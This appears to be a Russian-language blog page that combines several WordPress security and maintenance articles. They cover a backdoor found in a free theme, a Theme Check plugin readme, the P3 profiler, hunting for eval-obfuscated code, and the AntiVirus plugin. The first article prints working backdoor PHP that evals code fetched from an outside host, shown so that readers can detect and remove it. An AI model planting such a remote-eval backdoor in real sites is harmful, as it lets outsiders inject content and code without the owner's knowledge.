Проверка wordpress на вирусы. Как удалить вирус или вредоносный код из WordPress? Скрытый опасный код в бесплатных шаблонах WordPress

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию


return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

The theme check plugin is an easy way to test your theme and make sure it’s up to spec with the latest theme review standards. With it, you can run all the same automated testing tools on your theme that WordPress.org uses for theme submissions.

The tests are run through a simple admin menu and all results are displayed at once. This is very handy for theme developers, or anybody looking to make sure that their theme supports the latest WordPress theme standards and practices.

Как активировать форматирование trac

The Theme Review team use this plugin while reviewing themes and copy/paste the output into trac tickets, the trac system has its own markup language.
To enable trac formatting in Theme-Check you need to define a couple of variables in wp-config.php:
TC_PRE and TC_POST are used as a ticket header and footer.
Examples:
define(‘TC_PRE’, ‘Theme Review:[]
— Themes should be reviewed using «define(\’WP_DEBUG\’, true);» in wp-config.php[]
— Themes should be reviewed using the test data from the Theme Checklists (TC)
——
‘);

Define("TC_POST", "Feel free to make use of the contact details below if you have any questions, comments, or feedback:[] [] * Leave a comment on this ticket[] * Send an email to the Theme Review email list[] * Use the #wordpress-themes IRC channel on Freenode.");

If either of these two vars are defined a new trac tickbox will appear next to the Check it! button.

Часто задаваемые вопросы

What’s with the version numbers?

The version number is the date of the revision of the guidelines used to create it.

Why does it flag something as bad?

It’s not flagging «bad» things, as such. The theme check is designed to be a non-perfect way to test for compliance with the Theme Review guidelines. Not all themes must adhere to these guidelines. The purpose of the checking tool is to ensure that themes uploaded to the central WordPress.org theme repository meet the latest standards of WordPress themes and will work on a wide variety of sites.

Many sites use customized themes, and that’s perfectly okay. But themes that are intended for use on many different kinds of sites by the public need to have a certain minimum level of capabilities, in order to ensure proper functioning in many different environments. The Theme Review guidelines are created with that goal in mind.

This theme checker is not perfect, and never will be. It is only a tool to help theme authors, or anybody else who wants to make their theme more capable. All themes submitted to WordPress.org are hand-reviewed by a team of experts. The automated theme checker is meant to be a useful tool only, not an absolute system of measurement.

This plugin does not decide the guidelines used. Any issues with particular theme review guidelines should be discussed on the Make Themes site .

Отзывы

This is a great plugin for everyone that really likes to develop a WordPress theme and make successfully tests for the basic WordPress standards. The errors separated in "Required", "Warning", "Recommended" and "info". Also provide the basic information of this error and makes you understand where the problem is.

Участники и разработчики

«Проверка темы» - проект с открытым исходным кодом. В развитие плагина внесли свой вклад следующие участники:

Участники

Журнал изменений

20190801.1

  • Fix missing nonce and nonce check on admin page. props Steven Stern for reporting the issue to the plugins team. Though this is technically a CSRF, there is no vulnerability arising from it, as the only thing that could be done with the form is to scan a theme.

20190208.1

  • Add new styles for the block editor. See https://meta.trac.wordpress.org/ticket/3921

20160523.1

  • Fix for theme-names with dashes in them
  • Comments stripping changes
  • Many changes by the theme review team and others. See Github for full change list.

20151211.1

  • Full sync with Github and all the changes that have happened there.
  • Release for 4.4 deprecated functions.

20140929.1

  • Added new checks and updates from Frank Klein at Automattic. Thanks Frank!
  • Updated deprecated function listings
  • Customizer check: All add_settings must use sanitization callbacks, for security
  • Plugin territory checks: Themes must not register post types or taxonomies or add shortcodes for post content
  • Widgets: Calls to register_sidebar must be called from the widgets_init action hook
  • Title: tags must exist and not have anything in them other than a call to wp_title()
  • CDN: Checks for use of common CDNs (recommended only)
  • Note: Changed plugin and author URIs due to old URIs being invalid. These may change again in the future, the URIs to my own site are temporarily only.

20131213.1

  • Corrected errors not being displayed by the plugin and it incorrectly giving a «pass» result to everything.

20131212.1

  • Updated for 3.8
  • Most files have changed for better I18N support, so the language files were removed temporarily until translation can be redone.

20121211.1

  • Updated for 3.5
  • Remove Paypal button.

20110805.1

  • TimThumb checks removed.
  • Screenshot now previewed in results, with filesize and dimensions.

20110602.2

  • New file list functions hidden folders now detectable.
  • Better fopen checks.
  • TimThumb version bump

20110602.1

  • DOS/UNIX line ending style checks are now a requirement for proper theme uploading.
  • Timthumb version bump
  • Several fixes reported by GaryJ
  • 3.2 deprecated functions added

20110412.1

  • Fix regex’s
  • Added check for latest footer injection hack.
  • Fix tags check to use new content function correctly
  • Sync of all changes made for wporg uploader theme-check.
  • Updated checks post 3.1. added screenshot check to svn.
  • Fix links check to not return a false failure in some cases
  • rm one of the checks that causes problems on wporg uploader (and which is also unnecessary)
  • Move unneeded functions out of checkbase into main.php.
  • Minor formatting changes only (spacing and such)
  • Add check for wp_link_pages() + fix eval() check

20110219.2

  • Merged new UI props Gua Bob
  • Last tested theme is always pre-selected in the themes list.
  • Fixed php error in admin_menu.php

20110219.1

  • See commit log for changes.

20110201.2

  • UI bug fixes forum post props Mamaduka.
  • Textdomain checks for twentyten and no domain.
  • Fix div not closing props Mamaduka.

20110201.1

  • i18n working
  • sr_RS de_DE ro_RO langs props Daniel Tara and Emil Uzelac.
  • Child theme support added, checks made against parent AND child at runtime.
  • Trac formatting button added for reviewers.

20101228.3

  • Last revision for 3.1 (hopefully)
  • Chips suggestion of checking for inclusion of searchform.php (not
    perfect yet, need more examples to look for).
  • add_theme_page is required, all others flagged and displayed with line
    numbers.
  • Mostly internationalized, needs translations now.
  • Bug fixes.

20101228.2

  • Added menu checking.
  • ThemeURI AuthourURI added to results.
  • Lots of small fixes.
  • Started translation.

20101228.1

  • Fix embed_defaults filter check and stylesheet file data check.

20101226.1

  • Whole system redesign to allow easier synching with WordPress.org uploader. Many other additions/subtractions/changes as well.
  • WordPress 3.1 guidelines added, to help theme authors ensure compatibility for upcoming release.

20101110.7

  • Re-added malware.php checks for fopen and file_get_contents (INFO)
  • fixed a couple of undefined index errors.

20101110.4_r2

  • Fixed Warning: Wrong parameter count for stristr()

20101110.4_r1

  • Added echo to suggested.php

20101110.4

  • Fixed deprecated function call to get_plugins()

20101110.3

  • Fixed undefined index.

20101110.2

  • Missing < in main.php
  • Added conditional checks for licence.txt OR Licence tags in style.css
  • UI improvements.

Вы узнаете, как проверить нагрузку установленных на сайт WordPress . С помощью этого способа, можно определить, какой именно плагин дает большую нагрузку на сайт, после чего этот плагин можно удалить, либо заменить каким-то другим.

Был у меня случай, когда один плагин давал большую нагрузку на сервер, что и блог переставал работать. Мне хостер выслал письмо с предупреждением, чтобы я позаботился о снижении нагрузки, и как бы невзначай предложил перейти на более дорогой тариф, который с этой нагрузкой легко справится. На тот момент у меня был хостинг «Sprithost ». Ох, и намучился я на этом хостинге.

Я написал в службу поддержки «Sprithost », чтобы мне помогли решить эту проблему. Мне посоветовали установить «WP Super Cache ». Да, нагрузка на сервер действительно уменьшилась, но этого было не достаточно. Блог иногда все равно был не доступен. Проблему эту я решил достаточно просто. Я перешел на другой хостинг, после чего все нагрузки исчезли.

Итак, перейдем к делу. Как бы это парадоксально не звучало, но проверять нагрузку плагинов, мы будем с помощью плагина «».

Плагин «P3 - Plugin Performance Profiler» - проверка нагрузки плагинов на сайт WordPress

Скачать плагин можно по этой ссылке . После установки и активации плагина, можно кликнуть по ссылке «Scan Now », которая находится под названием самого плагина, или перейти в «Инструменты », а потом нажать «P3 Plugin Profiler ».

Теперь Вы можете сделать сканирование всех установленных плагинов на Вашем сайте. Жмите «Start Scan ». Появится окошко, где Вы можете выбрать автоматическое сканирование (Auto Scan ), или ручное сканирование (Manual Scan ). В поле «Scan name », можно дать название этому сканированию, например, написать дату.

Если выбрать автоматическое сканирование (Auto Scan ), тогда плагин «P3 - Plugin Performance Profiler » будет автоматически сканировать определенные страницы и папки на сайте. По какому принципу он сканирует - тяжело сказать, но ждать мне приходится около 10 минут. Готовый результат, можно посмотреть, если нажать кнопу «View Results ». Появится такой график:

График разбит на части разного цвета. Каждый цвет относится к определенному плагину, например, синий цвет к плагин «WPtouch Mobile Plugin ». У Вас этот цвет может относиться совершенно к другому плагину.

Правее от графика, можно посмотреть, какой цвет к какому плагину относится. Также, если подвести курсор мыши на сам график, к определенному цвету, то Вы тоже увидите, к какому плагину относится цвет.

В моем случае, наибольшую нагрузку дает плагин «Pretty Link Lite », о котором я недавно писал. Можете почитать « »

В режиме ручного сканирования, можно отсканировать любую страницу сайте. Нажмите «Start Scan », а потом «Manual Scan ». Кликните по странице, которую собираетесь отсканировать, а потом внизу нажмите «I"m Done ».

Готовые результаты можно отправить на свой E-mail , для этого надо кликнуть внизу по ссылке «Email these results ».

Выше над графиком можно посмотреть количество установленных плагинов на Вашем сайте, время загрузки плагина, время загрузки страницы и запросы к базе данных MySQL. Там же можно посмотреть историю сканирования (History ), и получить помощь (Help ).

____________________________
К уроку 198.

Вредоносный код попадает на сайт по неосторожности или злому умыслу. Назначения вредоносного кода различны, но, по сути, он наносит вред или мешает нормальной работы сайта. Чтобы убрать вредоносный код на WordPress его нужно сначала, найти.

Что такое вредоносный код на сайте WordPress

По внешнему виду, чаще всего, вредоносный код это набор букв и символов латинского алфавита. На самом деле это зашифрованный код, по которому исполняется, то или иное действие. Действия могут быть самые различные, например, ваши новые посты, сразу публикуются на стороннем ресурсе. По сути это кража вашего контента. Есть у кодов и другие «задачи», например, размещение исходящих ссылок на страницах сайта. Задачи могут самые изощренные, но понятно одно, что за вредоносными кодами нужно охотиться и удалять.

Как попадают вредоносные коды на сайт

Лазейки для попадания кодов на сайт, также множество.

  1. Чаще всего, это темы и плагины скачанные с «левых» ресурсов. Хотя, такое проникновение характерно для, так называемых, зашифрованных ссылок. Явный код так не попадает на сайт.
  2. Проникновение вируса при взломе сайта, самое опасное. Как правило, взлом сайта позволяет разместить не только «одноразовый код», но установить код с элементами malware (вредоносной программы). Например, вы находите код, и удаляет его, а он восстанавливается, через некоторое время. Вариантов, опять — таки множество.

Сразу замечу, борьба с такими вирусами трудная, а ручное удаление требует знаний. Есть три решения проблемы: первое решение – использовать плагины анитвирисники, например, плагин под названием BulletProof Security .

Такое решение дает хорошие результаты, но требует времени, хотя и небольшого. Есть более радикальное решение, избавления от вредоносных кодов, включая сложные вирусы, это восстановить сайт из заранее сделанных резервных копий сайта.

Так как, хороший веб-мастер делает периодически, то откатиться на не зараженную версию, получится без проблем. Третье решение для богатых и ленивых, просто обращаетесь в специализированную «контору» или специалисту индивидуалу.

Как искать вредоносный код на WordPress

Важно понимать, что вредоносный код на WordPress может быть в любом файле сайта, и не обязательно в рабочей теме. Он может занестись с плагином, с темой, с «самодельным» кодом взятого из Интернет. Попробовать найти вредоносный код можно несколькими способами.

Способ 1. Вручную. Листаете все файлы сайта и сравниваете их с файлами незараженного бэкапа. Находите чужой код – удаляете.

Способ 2. С помощью плагинов безопасности WordPress. Например, . У этого плагина есть замечательная функция, сканирование файлов сайта на наличие чужого кода и плагин прекрасно справляется с этой задачей.

Способ 3. Если у вас, разумный support хостинга, и вам кажется, что на сайте «чужой», попросите их просканировать ваш сайт своим антивирусом. В их отчете будет указаны все зараженные файлы. Далее, открываете эти файлы в текстовом редакторе и удаляете вредоносный код.

Способ 4. Если вы можете работать с SSH доступом к каталогу сайта, то вперед, там своя кухня.

Важно! Каким бы способом вы не искали вредоносный код, перед поиском и последующим удалением кода, закройте доступ к файлам сайта (включите режим обслуживания). Помните про коды, которые сами восстанавливаются при их удалении.

Поиск вредоносных кодов по функции eval

Есть в php такая функция eval . Она позволяет исполнять любой код в ее строке. Причем код может быть закодирован. Именно из-за кодировки вредоносный код выглядит, как набор букв и символов. Популярны две кодировки:

  1. Base64;
  2. Rot13.

Соответственно в этих кодировках функция eval выглядит так:

  • eval (base64_decode (...))
  • eval (str_rot13 (...)) //во внутренних кавычках, длинные не понятные наборы букв и символов..

Алгоритм поиска вредоносного кода по функции eval следующий (работаем из административной панели):

  • идёте в редактор сайта (Внешний вид→Редактор).
  • копируете файл functions.php .
  • открываете его в текстовом редакторе (например, Notepad++) и по поиску ищите слово: eval .
  • если нашли, не спешите ничего удалять. Нужно понять, что эта функция «просит» исполнить. Чтобы это понять код нужно раскодировать. Для раскодирования есть онлайн инструменты, называемые декодеры.

Декодеры/Кодеры

Работают декодеры просто. Копируете код, который нужно расшифровать, вставляете в поле декодера и декодируете.

На момент написания статьи я не нашел у себя ни одного зашифрованного кода найденного в WordPress. Нашел код с сайта Joomla. В принципе разницы для понимания раскодирования нет. Смотрим фото.

Как видите на фото, функция eval после раскодирования, вывела не страшный код, угрожающий безопасности сайта, а зашифрованную ссылку копирайта , автора шаблона. Его тоже можно удалить, но он вернется после обновления шаблона, если вы не используете .

В завершении замечу, чтобы не получить вирус на сайт:

  • Вредоносный код на WordPress чаще приходит с темами и плагинами. Поэтому не ставьте шаблоны и плагины из «левых», не проверенных ресурсов, а если ставите, внимательно их прокачайте, на наличие ссылок и исполнительных функций php. После установки плагинов и тем с «незаконных» ресурсов, проверьте сайт антивирусами.
  • Обязательно делайте периодические бэкапы и выполняйте другие .

Где есть сайт, там могут быть и вирусы. Эта нехитрая истина не позволяет расслабляться и требует постоянного контроля за «здоровьем» сайта. Сайты WordPress не исключение, а если принять во внимание популярность CMS WordPress, то понятно почему заражения этих сайтов происходят чаще сайтов других систем. Для антивирусной проверки сайтов есть масса инструментов. В этой статье я расскажу об отличном борце с вирусами для сайтов WordPress – плагине AntiVirus, как найти и удалить вирус на WordPress плагином Antivirus.

Что мы понимаем под вирусом на сайте

Под вирусом на сайте подразумевается любая сторонняя программа, которая принуждает работать сайт, не так как заложено в программах системы. Под определение вирус попадают:

  • , занесенные на сайт;
  • Зашифрованные исполнительные функции, попадающее, на сайт с плагинами и темами;
  • Любые php скрипты и Java коды, совершающие действия, которые не известны владельцу сайта.

Результаты действия вирусов на сайте могут быть самые разнообразные:

  • Ссылки на сторонние ресурсы;
  • Автоматический редирект на чужие ресурсы;
  • Считывание новых публикаций и дублирующая публикация их на сторонних ресурсах;
  • Несанкционированная реклама на сайте;
  • Разрушение кода сайта и как результат падение сайта.

Установка и настройка плагина Antivirus

Отличный инструмент для проверки сайта на наличии вирусов является плагин Antivirus . У плагина более 90000+ скачиваний, последнее тестирование на версии WordPress 4.6.11.

Установить плагин можно из консоли сайта, на вкладке Плагины→Добавить новый, воспользовавшись формой поиска плагинов по названию.

Установка плагина Antivirus из административной панели

Как удалить вирус на WordPress плагином Antivirus

Важно! Перед работой с плагином .

Работает плагин без премудростей. Через Настройка→AntiVirus или Плагины→AntiVirus →Настройка входим на страницу активированного плагина.

Жмем «Scan the theme templates » и видим результат проверки. Все каталоги рабочей темы отразятся на странице. Зеленый цвет означает отсутствие вирусов, красный цвет скажет о заражении.


Запуск сканирования плагином AntiVirus


Copyright © 2024 Немного о компьютере.